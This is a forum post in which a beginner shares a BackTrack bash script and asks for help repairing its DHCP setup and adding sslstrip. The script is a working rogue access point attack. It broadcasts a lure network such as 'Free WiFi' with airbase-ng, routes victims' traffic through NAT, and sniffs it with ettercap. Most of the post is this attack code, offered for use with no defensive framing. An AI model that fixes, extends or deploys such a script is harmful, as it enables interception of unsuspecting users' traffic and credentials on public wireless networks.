Thanks for your help guys.
Now, I'm trying to run the script, but I'm having some trouble with dhcp.
the tutorial/script from the old forum was made for backtrack 3, and needs some updates.
can someone with knowledge review this script?
I modified it a bit as it used 'dhcpd', but I think backtrack 4 final uses 'dhcp3', but the dhcp server isn't working properly, it must be the code that's wrong, I never coded anything before, and my backtrack/linux skills are still very limited, so please bear with me.
I'm using this dhcpd.conf:
Deathray [bash] Paste - f1859fad7 - Pastebin.com
the current script:
-----------------------
#!/bin/bash
echo -n "Enter the name of the interface connected to the internet, for example eth0: "
read -e IFACE
echo -n "Enter your wireless interface name, for example wlan0: "
read -e WIFACE
echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
read -e ESSID
kill `cat /var/run/dhcpd.pid`
killall -9 dhcpd3 airbase-ng ettercap
airmon-ng stop $WIFACE
ifconfig $WIFACE down
airmon-ng start $WIFACE
modprobe tun
konsole -e airbase-ng -e "$ESSID" -P -C 15 -v $WIFACE &
sleep 10
ifconfig at0 mtu 1400
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
echo > '/var/lib/dhcp3/dhcpd.leases'
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd &
konsole -e dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0 &
konsole -e ettercap -T -q -p -i at0 // // &
sleep 8
echo "1" > /proc/sys/net/ipv4/ip_forward
the part that's highlighted is what must be wrong, or the dhcpd.conf isn't right.
also, would someone be so kind to add sslstrip function to this script?
any help is greatly appreciated.
credit goes out to Deathray for making the script.
L.